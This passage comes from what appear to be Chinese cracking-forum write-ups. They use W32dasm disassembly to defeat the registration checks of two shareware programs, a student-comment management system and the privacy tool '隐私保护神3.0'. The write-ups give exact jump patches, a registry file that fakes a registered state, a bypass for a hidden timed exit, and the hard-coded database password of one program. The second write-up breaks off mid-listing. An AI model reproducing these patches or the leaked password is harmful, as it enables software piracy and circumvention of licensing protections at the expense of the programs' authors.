注册码文件。分析注册码文件，看到里面有一行字串：
userid=0310206410913919500818002711023914226309313612401220911328701503705316115
2071115115276163151041148019121215163174294049092008099084062121169134235004132
2550
点击注册，提示：没有有效的注册信息。在W32dasm反汇编的文件中搜索：“注册”
:0052C3AC E86F03F2FF call 0044C720
:0052C3B1 837DE800 cmp dword ptr [ebp-18], 00000000
:0052C3B5 7522 jne 0052C3D9 //在这跳，为了更好的观
察，我先不让它强行跳，
看如何才能真正的跳。
:0052C3B7 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:0052C3B9 B9E4C45200 mov ecx, 0052C4E4

* Possible StringData Ref from Code Obj ->"文件中不存在有效的注册信息"
|
:0052C3BE BAECC45200 mov edx, 0052C4EC
:0052C3C3 A1F0285600 mov eax, dword ptr [005628F0]
:0052C3C8 8B00 mov eax, dword ptr [eax]
:0052C3CA E8F909F4FF call 0046CDC8 //出现错误，看哪能跳过
:0052C3CF E8647FEDFF call 00404338
:0052C3D4 E9A6000000 jmp 0052C47F

? Referenced by a (U)nconditional or (C)onditional Jump at Address:
》》》
》》》
在W32dasm反汇编的文件中搜索：“userid”，找到：
:0050B653 8D4598 lea eax, dword ptr [ebp-68]
:0050B656 50 push eax

* Possible StringData Ref from Code Obj ->"userid"　　//关键字
|
:0050B657 B9CCBB5000 mov ecx, 0050BBCC

* Possible StringData Ref from Code Obj ->"register" //关键字，所以在注册文件中写入一
行。
|
:0050B65C BAB8BB5000 mov edx, 0050BBB8
注册文件的内容设为：
userid=0310206410913919500818002711023914226309313612401220911328701503705316115
2071115115276163151041148019121215163174294049092008099084062121169134235004132
2550
register=67889898487684685674683228091890489843747578474732873877883684383738749
8739873987398574874987378436268374854759859875876985798748739473547598798798449
3759873（注：数字是乱填的）
这回上面的错误提示没有了，接着看：

由上面跳到这：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052C3B5(C)
|
:0052C3D9 33C0 xor eax, eax
:0052C3DB 5A pop edx
:0052C3DC 59 pop ecx
:0052C3DD 59 pop ecx
:0052C3DE 648910 mov dword ptr fs:[eax], edx
:0052C3E1 68F8C35200 push 0052C3F8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052C3F6(U)
|
:0052C3E6 B201 mov dl, 01
:0052C3E8 8B45F8 mov eax, dword ptr [ebp-08]
:0052C3EB 8B08 mov ecx, dword ptr [eax]
:0052C3ED FF51FC call [ecx-04]
:0052C3F0 C3 ret

:0052C3F1 E99A7DEDFF jmp 00404190
:0052C3F6 EBEE jmp 0052C3E6
:0052C3F8 A1A4245600 mov eax, dword ptr [005624A4]
:0052C3FD C60001 mov byte ptr [eax], 01
:0052C400 8D55E4 lea edx, dword ptr [ebp-1C]
:0052C403 8B45FC mov eax, dword ptr [ebp-04]
:0052C406 8B8008030000 mov eax, dword ptr [eax+00000308]
:0052C40C E80F03F2FF call 0044C720
:0052C411 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0052C414 8B55F4 mov edx, dword ptr [ebp-0C]
:0052C417 B001 mov al, 01
:0052C419 E82202FEFF call 0050C640 //注册判断关键CALL
:0052C41E E86531FEFF call 0050F588
:0052C423 A124265600 mov eax, dword ptr [00562624]
:0052C428 8B00 mov eax, dword ptr [eax]
:0052C42A E831D3EDFF call 00409760
:0052C42F E8901BFEFF call 0050DFC4
:0052C434 A1A4245600 mov eax, dword ptr [005624A4]
:0052C439 803800 cmp byte ptr [eax], 00 //注意看EAX中的地址：
0056446C，下中断BPM
0056446C，重新跟踪。
:0052C43C 741A je 0052C458 //关键跳转，直接改虽然可以看到
注册正确的提示，但不行。
:0052C43E 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"提示"
|
:0052C440 B908C55200 mov ecx, 0052C508

* Possible StringData Ref from Code Obj ->"注册成功！感谢您的支持！"
|
:0052C445 BA10C55200 mov edx, 0052C510
:0052C44A A1F0285600 mov eax, dword ptr [005628F0]
:0052C44F 8B00 mov eax, dword ptr [eax]
:0052C451 E87209F4FF call 0046CDC8
:0052C456 EB18 jmp 0052C470

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052C43C(C)
|
:0052C458 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:0052C45A B9E4C45200 mov ecx, 0052C4E4

* Possible StringData Ref from Code Obj ->"注册失败，请与作者联系！"
|
:0052C45F BA2CC55200 mov edx, 0052C52C
:0052C464 A1F0285600 mov eax, dword ptr [005628F0]
:0052C469 8B00 mov eax, dword ptr [eax]
:0052C46B E85809F4FF call 0046CDC8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052C456(U)
|
:0052C470 8B45FC mov eax, dword ptr [ebp-04]
:0052C473 E824CFF3FF call 0046939C
:0052C478 C6054445560001 mov byte ptr [00564544], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0052C32A(C), :0052C3D4(U)
|
:0052C47F 33C0 xor eax, eax
:0052C481 5A pop edx
:0052C482 59 pop ecx
:0052C483 59 pop ecx
:0052C484 648910 mov dword ptr fs:[eax], edx
:0052C487 68B9C45200 push 0052C4B9

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052C4B7(U)
|
:0052C48C 8D45E4 lea eax, dword ptr [ebp-1C]
:0052C48F BA02000000 mov edx, 00000002
:0052C494 E8D383EDFF call 0040486C
:0052C499 8D45EC lea eax, dword ptr [ebp-14]
:0052C49C E8A783EDFF call 00404848
:0052C4A1 8D45F0 lea eax, dword ptr [ebp-10]
:0052C4A4 E89F83EDFF call 00404848
:0052C4A9 8D45F4 lea eax, dword ptr [ebp-0C]
:0052C4AC E89783EDFF call 00404848
:0052C4B1 C3 ret

0056446C是关键的判断注册与否的地址，但每次运行时软件要对它重新判断赋值。调用的
代码段和上面判断注册时是同一段。其关键CALL是上面的0052C419处的0050C640：

* Referenced by a CALL at Addresses:
|:0052C419 , :0052C60A , :0055E0A2
|
:0050C640 55 push ebp
:0050C641 8BEC mov ebp, esp
。。。《略》 。。。
:0050C680 8945EC mov dword ptr [ebp-14], eax
:0050C683 C645F300 mov [ebp-0D], 00
:0050C687 C6056C44560000 mov byte ptr [0056446C], 00 //赋初始值
:0050C68E 8D45E0 lea eax, dword ptr [ebp-20]

* Possible StringData Ref from Code Obj ->"\wlm.dat"
|
:0050C691 B9FCCB5000 mov ecx, 0050CBFC
:0050C696 8B1570445600 mov edx, dword ptr [00564470]
:0050C69C E8AB84EFFF call 00404B4C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050C62D(C)
|
:0050C6A1 8B45E0 mov eax, dword ptr [ebp-20]

* Possible StringData Ref from Code Obj ->"wlm"
|
:0050C6A4 BA10CC5000 mov edx, 0050CC10
:0050C6A9 E83E190000 call 0050DFEC
:0050C6AE B201 mov dl, 01
:0050C6B0 A144304700 mov eax, dword ptr [00473044]
:0050C6B5 E88A6AF6FF call 00473144
:0050C6BA 8945E8 mov dword ptr [ebp-18], eax
:0050C6BD 807DFF00 cmp byte ptr [ebp-01], 00
:0050C6C1 0F8552020000 jne 0050C919
:0050C6C7 BA02000080 mov edx, 80000002
:0050C6CC 8B45E8 mov eax, dword ptr [ebp-18]
:0050C6CF E8106BF6FF call 004731E4
:0050C6D4 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\学生评语管理系统" //写入注册表
|
:0050C6D6 BA1CCC5000 mov edx, 0050CC1C
:0050C6DB 8B45E8 mov eax, dword ptr [ebp-18]
:0050C6DE E8656BF6FF call 00473248
:0050C6E3 84C0 test al, al
:0050C6E5 7413 je 0050C6FA
:0050C6E7 8B0D70445600 mov ecx, dword ptr [00564470]

* Possible StringData Ref from Code Obj ->"installpath" //写入注册表
|
:0050C6ED BA40CC5000 mov edx, 0050CC40
:0050C6F2 8B45E8 mov eax, dword ptr [ebp-18]
:0050C6F5 E8EA6CF6FF call 004733E4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050C6E5(C)
|
:0050C6FA 8B45E8 mov eax, dword ptr [ebp-18]
:0050C6FD E8B26AF6FF call 004731B4
:0050C702 BA02000080 mov edx, 80000002
:0050C707 8B45E8 mov eax, dword ptr [ebp-18]
:0050C70A E8D56AF6FF call 004731E4
:0050C70F B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Microsoft\Windows\CurrentVersion" ////写
入注册表中
的位置
|
:0050C711 BA54CC5000 mov edx, 0050CC54
:0050C716 8B45E8 mov eax, dword ptr [ebp-18]
:0050C719 E82A6BF6FF call 00473248
:0050C71E 84C0 test al, al
:0050C720 0F84E3010000 je 0050C909

* Possible StringData Ref from Code Obj ->"ProductWRemark" //注册表中关键性的键值，是
否注册，是否到使用次数等都决定于它，后面还会出现多处。
|
:0050C726 BA88CC5000 mov edx, 0050CC88
。。。《略》 。。。
:0050C74C 50 push eax
:0050C74D 8D4DD0 lea ecx, dword ptr [ebp-30]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C750 BA88CC5000 mov edx, 0050CC88
。。。《略》 。。。
:0050C787 8D4DC4 lea ecx, dword ptr [ebp-3C]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C78A BA88CC5000 mov edx, 0050CC88
。。。《略》 。。。
:0050C880 66BA97FF mov dx, FF97
:0050C884 E88FD5FFFF call 00509E18
:0050C889 8B4DC0 mov ecx, dword ptr [ebp-40]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C88C BA88CC5000 mov edx, 0050CC88
:0050C891 8B45E8 mov eax, dword ptr [ebp-18]
。。。《略》 。。。
:0050C8F4 E81FD5FFFF call 00509E18
:0050C8F9 8B4DB0 mov ecx, dword ptr [ebp-50]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C8FC BA88CC5000 mov edx, 0050CC88
。。。《略》 。。。
:0050C92F E8B068F6FF call 004731E4
:0050C934 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Microsoft\Windows\CurrentVersion"
|
:0050C936 BA54CC5000 mov edx, 0050CC54
:0050C93B 8B45E8 mov eax, dword ptr [ebp-18]
:0050C93E E80569F6FF call 00473248
:0050C943 84C0 test al, al
:0050C945 0F84AF010000 je 0050CAFA
:0050C94B 8D45E4 lea eax, dword ptr [ebp-1C]
:0050C94E 8B55F4 mov edx, dword ptr [ebp-0C]
:0050C951 E88A7FEFFF call 004048E0
:0050C956 8D55A4 lea edx, dword ptr [ebp-5C]
:0050C959 8B45E4 mov eax, dword ptr [ebp-1C] //送入register值
:0050C95C E843CAEFFF call 004093A4
:0050C961 8B55A4 mov edx, dword ptr [ebp-5C]
:0050C964 8B45F8 mov eax, dword ptr [ebp-08] //送入usterid值
:0050C967 E8C8DDFFFF call 0050A734 //关键判断CALL，想知道算法
的话，就跟进去。我比较懒。
:0050C96C 84C0 test al, al
:0050C96E 0F8441010000 je 0050CAB5 //此处不让它跳就成功一半了！！
:0050C974 33C0 xor eax, eax
:0050C976 55 push ebp
:0050C977 68E9C95000 push 0050C9E9
:0050C97C 64FF30 push dword ptr fs:[eax]
:0050C97F 648920 mov dword ptr fs:[eax], esp
:0050C982 E8012C0000 call 0050F588
:0050C987 8D4598 lea eax, dword ptr [ebp-68]
:0050C98A B9C4CC5000 mov ecx, 0050CCC4
:0050C98F 8B1580445600 mov edx, dword ptr [00564480]
:0050C995 E8B281EFFF call 00404B4C
:0050C99A 8B4598 mov eax, dword ptr [ebp-68]
:0050C99D 8D4D9C lea ecx, dword ptr [ebp-64]
:0050C9A0 66BA14E2 mov dx, E214
:0050C9A4 E86FD4FFFF call 00509E18
:0050C9A9 8B459C mov eax, dword ptr [ebp-64]
:0050C9AC 8D4DA0 lea ecx, dword ptr [ebp-60]
:0050C9AF 66BA97FF mov dx, FF97
:0050C9B3 E860D4FFFF call 00509E18
:0050C9B8 8B4DA0 mov ecx, dword ptr [ebp-60]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C9BB BA88CC5000 mov edx, 0050CC88
:0050C9C0 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9C3 E81C6AF6FF call 004733E4
:0050C9C8 C6056C44560001 mov byte ptr [0056446C], 01 //此处赋注册正确的
值。
:0050C9CF 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9D2 E8DD67F6FF call 004731B4
:0050C9D7 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9DA E81D70EFFF call 004039FC
:0050C9DF 33C0 xor eax, eax
:0050C9E1 5A pop edx
:0050C9E2 59 pop ecx
:0050C9E3 59 pop ecx
:0050C9E4 648910 mov dword ptr fs:[eax], edx
:0050C9E7 EB0A jmp 0050C9F3
:0050C9E9 E9EE74EFFF jmp 00403EDC
:0050C9EE E81579EFFF call 00404308
》》》 》》》

总结：在0050C96E处下断点，改跳转，就显示注册成功了，将注册表中值导出成注册文件。

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"ProductWRemark"="BB21C32E08E9F15F750A"

注意：经过上面的修改并未破解成功，请看（2）。
（2）
大家好，上次的破解留了一个小尾巴，就是作者放了一个暗桩，导致程序运行三分钟之后自动退出。这回解决了这个问题，看下面：

:0050C961 8B55A4 mov edx, dword ptr [ebp-5C]
:0050C964 8B45F8 mov eax, dword ptr [ebp-08]
:0050C967 E8C8DDFFFF call 0050A734
:0050C96C 84C0 test al, al
:0050C96E 0F8441010000 je 0050CAB5 //上次告诉大家改这个跳转的。
:0050C974 33C0 xor eax, eax
:0050C976 55 push ebp
:0050C977 68E9C95000 push 0050C9E9
:0050C97C 64FF30 push dword ptr fs:[eax]
:0050C97F 648920 mov dword ptr fs:[eax], esp
:0050C982 E8012C0000 call 0050F588
:0050C987 8D4598 lea eax, dword ptr [ebp-68]
:0050C98A B9C4CC5000 mov ecx, 0050CCC4
:0050C98F 8B1580445600 mov edx, dword ptr [00564480]
:0050C995 E8B281EFFF call 00404B4C
:0050C99A 8B4598 mov eax, dword ptr [ebp-68]
:0050C99D 8D4D9C lea ecx, dword ptr [ebp-64]
:0050C9A0 66BA14E2 mov dx, E214
:0050C9A4 E86FD4FFFF call 00509E18
:0050C9A9 8B459C mov eax, dword ptr [ebp-64]
:0050C9AC 8D4DA0 lea ecx, dword ptr [ebp-60]
:0050C9AF 66BA97FF mov dx, FF97
:0050C9B3 E860D4FFFF call 00509E18
:0050C9B8 8B4DA0 mov ecx, dword ptr [ebp-60]

* Possible StringData Ref from Code Obj ->"ProductWRemark"
|
:0050C9BB BA88CC5000 mov edx, 0050CC88
:0050C9C0 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9C3 E81C6AF6FF call 004733E4
:0050C9C8 C6056C44560001 mov byte ptr [0056446C], 01 //送注册成功标志，接着向下看
:0050C9CF 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9D2 E8DD67F6FF call 004731B4
:0050C9D7 8B45E8 mov eax, dword ptr [ebp-18]
:0050C9DA E81D70EFFF call 004039FC
:0050C9DF 33C0 xor eax, eax
:0050C9E1 5A pop edx
:0050C9E2 59 pop ecx
:0050C9E3 59 pop ecx
:0050C9E4 648910 mov dword ptr fs:[eax], edx
:0050C9E7 EB0A jmp 0050C9F3
:0050C9E9 E9EE74EFFF jmp 00403EDC
:0050C9EE E81579EFFF call 00404308

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050C9E7(U)
|
:0050C9F3 33C0 xor eax, eax
:0050C9F5 55 push ebp

* Possible StringData Ref from Code Obj ->"闉u? "
|
:0050C9F6 6865CA5000 push 0050CA65
:0050C9FB 64FF30 push dword ptr fs:[eax]
:0050C9FE 648920 mov dword ptr fs:[eax], esp
:0050CA01 8D4594 lea eax, dword ptr [ebp-6C]

* Possible StringData Ref from Code Obj ->"\wcgipk.dll" //要向这个文件中写东西，这个文件在哪？写的是什么？
ANSWER：原来注册成功后，他不但象上次我说的那样往注册表中写东西，也生成了一个KEY文件，就是wcgipk.dll喽！放在C:\WINDOWS\SYSTEM目录下。内容的形式是：
[register]
userid=510632020430861820451910210190621022870321460831522710451080891942471032811960840840312802670050940642890742350430050650
registerid=678898984876846856746832280918904898437475784747328738778836843837387498739873987398574874987378436268374854759859875876
可见这个文件是关键。下面对反汇编后的文件查找“wcgipk.dll”字串。
|
:0050CA04 B9D0CC5000 mov ecx, 0050CCD0 //送入文件名地址
:0050CA09 8B1574445600 mov edx, dword ptr [00564474]
:0050CA0F E83881EFFF call 00404B4C
:0050CA14 8B4D94 mov ecx, dword ptr [ebp-6C]
:0050CA17 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"?G"
|
:0050CA19 A1F4204700 mov eax, dword ptr [004720F4]
。。。 。。。

经过上面说的查找找到4个 相关地址：
0050B5AC 是暗桩的关键地址。
0050CA04 是注册成功后建立此文件，并向其中写入内容。
005117CC 是当我们点击了帮助菜单中的“关于”时，打开此文件从中转换出注册名和单位、地址信息。
0052C06A 不详，不过好象不是暗桩（大家可以帮忙测试一下）。

下面就到50B5AC处下断点（前提是你像我上一篇中说的，已注册成功），等待三分钟后，在断点处被拦下。接下来就是很长的一段注册判断，很麻烦的。好，下面看哪可以跳过判断：
:0050B56D 59 pop ecx
:0050B56E 648910 mov dword ptr fs:[eax], edx
:0050B571 EB16 jmp 0050B589
:0050B573 E96489EFFF jmp 00403EDC
:0050B578 A1F0285600 mov eax, dword ptr [005628F0]
:0050B57D 8B00 mov eax, dword ptr [eax]
:0050B57F E8A017F6FF call 0046CD24
:0050B584 E87F8DEFFF call 00404308

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050B571(U)
|
:0050B589 837DF800 cmp dword ptr [ebp-08], 00000000
:0050B58D 0F8577050000 jne 0050BB0A //此处跳转就可以不判断了，我把50B589一句改为JMP 050BB0A，成功！！
:0050B593 33C0 xor eax, eax
:0050B595 55 push ebp
:0050B596 68D2BA5000 push 0050BAD2
:0050B59B 64FF30 push dword ptr fs:[eax]
:0050B59E 648920 mov dword ptr fs:[eax], esp
:0050B5A1 8B15BC285600 mov edx, dword ptr [005628BC]
:0050B5A7 8B12 mov edx, dword ptr [edx]
:0050B5A9 8D45C4 lea eax, dword ptr [ebp-3C]

* Possible StringData Ref from Code Obj ->"\wcgipk.dll"
|
:0050B5AC B990BB5000 mov ecx, 0050BB90
:0050B5B1 E89695EFFF call 00404B4C
:0050B5B6 8B4DC4 mov ecx, dword ptr [ebp-3C]
:0050B5B9 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"?G"
|
:0050B5BB A1F4204700 mov eax, dword ptr [004720F4]
:0050B5C0 E8DF6BF6FF call 004721A4
:0050B5C5 8945F0 mov dword ptr [ebp-10], eax
:0050B5C8 33C0 xor eax, eax
:0050B5CA 55 push ebp
:0050B5CB 68A3B65000 push 0050B6A3
:0050B5D0 64FF30 push dword ptr fs:[eax]
:0050B5D3 648920 mov dword ptr fs:[eax], esp
:0050B5D6 8B45E4 mov eax, dword ptr [ebp-1C]

调试中注意到的内幕：
此系统的数据文件是wlm.dat，它实际上是.mdb ACCESS型文件，文件的打开密码是：
“ooovvvwww”。可以看看他数据库的设计思想了。
:0050CB0F 648920 mov dword ptr fs:[eax], esp

* Possible StringData Ref from Code Obj ->"Provider=Microsoft.Jet.OLEDB.4.0;Data "
->"Source="
|
:0050CB12 6838CD5000 push 0050CD38
:0050CB17 FF3570445600 push dword ptr [00564470]

* Possible StringData Ref from Code Obj ->"\wlm.dat;Persist Security Info=False;Jet "
->"OLEDB:Database Password=ooovvvwww" //看到了吗？
|
:0050CB1D 6870CD5000 push 0050CD70
:0050CB22 8D4588 lea eax, dword ptr [ebp-78]

总结：
在调试中发现作者在注册问题上下了很大的功夫，关于注册的地方特别多，这样势必会影响整个程序的执行效率，这个软件是DELPHI写的，本应执行起来效率很高，其实不然。所以我想作者不应把精力过多的放在防破解上。


隐私保护神3.0

 标 题:隐私保护神3.0暴破 (11千字)
发信人:[tieji]
时 间:2001-12-5 13:42:56
详细信息:
破解者：tieji
破解时间：2001-12-05
破解工具：W32dasm黄金版, UltraEdit-32
作者主页:http://www.acesoft.net/china
说 明:您的电脑监视您在电脑上的一举一动，并把所有痕迹保存在硬 盘的隐蔽地方，包括：
所有您曾经去过的网站，网页，图片，小电影，音乐等等 隐私保护神正是专为保护
您的隐私而设计,只需鼠标一点，所有的痕迹将会彻底、安全的清除

是vb5,不想跟注册码,爆破算了

启动W32dasm黄金版,反汇编te.exe主程序,找到username字符串,有两处分别如下:

第一处:是注册的地方
:0041CBC6 FF15FC444400 Call dword ptr [004444FC]
:0041CBCC 8D45D4 lea eax, dword ptr [ebp-2C]
:0041CBCF 50 push eax
:0041CBD0 E8BBE60000 call 0042B290 <========此call为比较注册码
:0041CBD5 8D4DD4 lea ecx, dword ptr [ebp-2C]
:0041CBD8 668BF0 mov si, ax <========将比较结果ax传给si
是零注册不成功

* Reference To: MSVBVM50.__vbaFreeStr, Ord:0000h
|
:0041CBDB FF1530454400 Call dword ptr [00444530]
:0041CBE1 8D4DD0 lea ecx, dword ptr [ebp-30]

* Reference To: MSVBVM50.__vbaFreeObj, Ord:0000h
|
:0041CBE4 FF1534454400 Call dword ptr [00444534]
:0041CBEA 8D4DAC lea ecx, dword ptr [ebp-54]
:0041CBED 8D55BC lea edx, dword ptr [ebp-44]
:0041CBF0 51 push ecx
:0041CBF1 52 push edx
:0041CBF2 6A02 push 00000002

* Reference To: MSVBVM50.__vbaFreeVarList, Ord:0000h
|
:0041CBF4 FF15EC424400 Call dword ptr [004442EC]
:0041CBFA 83C40C add esp, 0000000C
:0041CBFD 663BF7 cmp si, di <========比较si与di
:0041CC00 0F8461030000 je 0041CF67 <========相等则跳,注册不成功,
此处不能跳,nop掉
:0041CC06 8B03 mov eax, dword ptr [ebx]
:0041CC08 53 push ebx
:0041CC09 FF9010030000 call dword ptr [eax+00000310]
:0041CC0F 8D4DD0 lea ecx, dword ptr [ebp-30]
:0041CC12 50 push eax
:0041CC13 51 push ecx

* Reference To: MSVBVM50.__vbaObjSet, Ord:0000h
|
:0041CC14 FF1560434400 Call dword ptr [00444360]
:0041CC1A 8BF0 mov esi, eax
:0041CC1C 8D45D8 lea eax, dword ptr [ebp-28]
:0041CC1F 50 push eax
:0041CC20 56 push esi
:0041CC21 8B16 mov edx, dword ptr [esi]
:0041CC23 FF92A0000000 call dword ptr [edx+000000A0]
:0041CC29 3BC7 cmp eax, edi
:0041CC2B 7D12 jge 0041CC3F
:0041CC2D 68A0000000 push 000000A0

* Possible StringData Ref from Code Obj ->"酦?檉??"
|
:0041CC32 6864924000 push 00409264
:0041CC37 56 push esi
:0041CC38 50 push eax

* Reference To: MSVBVM50.__vbaHresultCheckObj, Ord:0000h
|
:0041CC39 FF1528434400 Call dword ptr [00444328]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041CC2B(C)
|
:0041CC3F 8B45D8 mov eax, dword ptr [ebp-28]
:0041CC42 8D4DBC lea ecx, dword ptr [ebp-44]
:0041CC45 8D55AC lea edx, dword ptr [ebp-54]
:0041CC48 51 push ecx
:0041CC49 52 push edx
:0041CC4A 897DD8 mov dword ptr [ebp-28], edi
:0041CC4D 8945C4 mov dword ptr [ebp-3C], eax
:0041CC50 C745BC08000000 mov [ebp-44], 00000008

* Reference To: MSVBVM50.rtcTrimVar, Ord:0208h
|
:0041CC57 FF158C434400 Call dword ptr [0044438C]
:0041CC5D 393DA8F04300 cmp dword ptr [0043F0A8], edi
:0041CC63 7510 jne 0041CC75
:0041CC65 68A8F04300 push 0043F0A8
:0041CC6A 6888284000 push 00402888

* Reference To: MSVBVM50.__vbaNew2, Ord:0000h
|
:0041CC6F FF1588444400 Call dword ptr [00444488]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041CC63(C)
|
:0041CC75 8B35A8F04300 mov esi, dword ptr [0043F0A8]
:0041CC7B 8D459C lea eax, dword ptr [ebp-64]
:0041CC7E 8D4DAC lea ecx, dword ptr [ebp-54]
:0041CC81 50 push eax
:0041CC82 8B3E mov edi, dword ptr [esi]
:0041CC84 8D55D4 lea edx, dword ptr [ebp-2C]
:0041CC87 51 push ecx
:0041CC88 52 push edx

* Reference To: MSVBVM50.__vbaStrVarVal, Ord:0000h
|
:0041CC89 FF155C444400 Call dword ptr [0044445C]
:0041CC8F 50 push eax

* Possible StringData Ref from Code Obj ->"uusername" <=========第一处,向上看
|
:0041CC90 68689D4000 push 00409D68

===================================================================

第二处:是程序启动时判断注册码的地方,是关键,即判断注册码是否正确.

* Possible StringData Ref from Code Obj ->"uusername" <==========第二处,向下看
|
:0042FE33 68689D4000 push 00409D68

* Possible StringData Ref from Code Obj ->"ggeneral"
|
:0042FE38 68F0CA4000 push 0040CAF0
:0042FE3D 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:0042FE43 8B02 mov eax, dword ptr [edx]
:0042FE45 8B8DE4FEFFFF mov ecx, dword ptr [ebp+FFFFFEE4]
:0042FE4B 51 push ecx
:0042FE4C FF502C call [eax+2C]
:0042FE4F 8985E0FEFFFF mov dword ptr [ebp+FFFFFEE0], eax
:0042FE55 83BDE0FEFFFF00 cmp dword ptr [ebp+FFFFFEE0], 00000000
:0042FE5C 7D23 jge 0042FE81
:0042FE5E 6A2C push 0000002C
:0042FE60 68AC9D4000 push 00409DAC
:0042FE65 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:0042FE6B 52 push edx
:0042FE6C 8B85E0FEFFFF mov eax, dword ptr [ebp+FFFFFEE0]
:0042FE72 50 push eax

* Reference To: MSVBVM50.__vbaHresultCheckObj, Ord:0000h
|
:0042FE73 FF1528434400 Call dword ptr [00444328]
:0042FE79 8985B4FEFFFF mov dword ptr [ebp+FFFFFEB4], eax
:0042FE7F EB0A jmp 0042FE8B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FE5C(C)
|
:0042FE81 C785B4FEFFFF00000000 mov dword ptr [ebp+FFFFFEB4], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FE7F(U)
|
:0042FE8B 8B4DD0 mov ecx, dword ptr [ebp-30]
:0042FE8E 898DC0FEFFFF mov dword ptr [ebp+FFFFFEC0], ecx
:0042FE94 C745D000000000 mov [ebp-30], 00000000
:0042FE9B 8B95C0FEFFFF mov edx, dword ptr [ebp+FFFFFEC0]
:0042FEA1 8D4DD8 lea ecx, dword ptr [ebp-28]

* Reference To: MSVBVM50.__vbaStrMove, Ord:0000h
|
:0042FEA4 FF15FC444400 Call dword ptr [004444FC]
:0042FEAA C745FC04000000 mov [ebp-04], 00000004
:0042FEB1 833DA8F0430000 cmp dword ptr [0043F0A8], 00000000
:0042FEB8 751C jne 0042FED6
:0042FEBA 68A8F04300 push 0043F0A8
:0042FEBF 6888284000 push 00402888

* Reference To: MSVBVM50.__vbaNew2, Ord:0000h
|
:0042FEC4 FF1588444400 Call dword ptr [00444488]
:0042FECA C785B0FEFFFFA8F04300 mov dword ptr [ebp+FFFFFEB0], 0043F0A8
:0042FED4 EB0A jmp 0042FEE0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FEB8(C)
|
:0042FED6 C785B0FEFFFFA8F04300 mov dword ptr [ebp+FFFFFEB0], 0043F0A8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FED4(U)
|
:0042FEE0 8B95B0FEFFFF mov edx, dword ptr [ebp+FFFFFEB0]
:0042FEE6 8B02 mov eax, dword ptr [edx]
:0042FEE8 8985E4FEFFFF mov dword ptr [ebp+FFFFFEE4], eax
:0042FEEE 8D4DD0 lea ecx, dword ptr [ebp-30]
:0042FEF1 51 push ecx

* Possible StringData Ref from Code Obj ->"rregcode"
|
:0042FEF2 68F89E4000 push 00409EF8

* Possible StringData Ref from Code Obj ->"ggeneral"
|
:0042FEF7 68F0CA4000 push 0040CAF0
:0042FEFC 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:0042FF02 8B02 mov eax, dword ptr [edx]
:0042FF04 8B8DE4FEFFFF mov ecx, dword ptr [ebp+FFFFFEE4]
:0042FF0A 51 push ecx
:0042FF0B FF502C call [eax+2C]
:0042FF0E 8985E0FEFFFF mov dword ptr [ebp+FFFFFEE0], eax
:0042FF14 83BDE0FEFFFF00 cmp dword ptr [ebp+FFFFFEE0], 00000000
:0042FF1B 7D23 jge 0042FF40
:0042FF1D 6A2C push 0000002C
:0042FF1F 68AC9D4000 push 00409DAC
:0042FF24 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:0042FF2A 52 push edx
:0042FF2B 8B85E0FEFFFF mov eax, dword ptr [ebp+FFFFFEE0]
:0042FF31 50 push eax

* Reference To: MSVBVM50.__vbaHresultCheckObj, Ord:0000h
|
:0042FF32 FF1528434400 Call dword ptr [00444328]
:0042FF38 8985ACFEFFFF mov dword ptr [ebp+FFFFFEAC], eax
:0042FF3E EB0A jmp 0042FF4A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FF1B(C)
|
:0042FF40 C785ACFEFFFF00000000 mov dword ptr [ebp+FFFFFEAC], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042FF3E(U)
|
:0042FF4A 8B4DD0 mov ecx, dword ptr [ebp-30]
:0042FF4D 898DBCFEFFFF mov dword ptr [ebp+FFFFFEBC], ecx
:0042FF53 C745D000000000 mov [ebp-30], 00000000
:0042FF5A 8B95BCFEFFFF mov edx, dword ptr [ebp+FFFFFEBC]
:0042FF60 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM50.__vbaStrMove, Ord:0000h
|
:0042FF63 FF15FC444400 Call dword ptr [004444FC]
:0042FF69 C745FC05000000 mov [ebp-04], 00000005
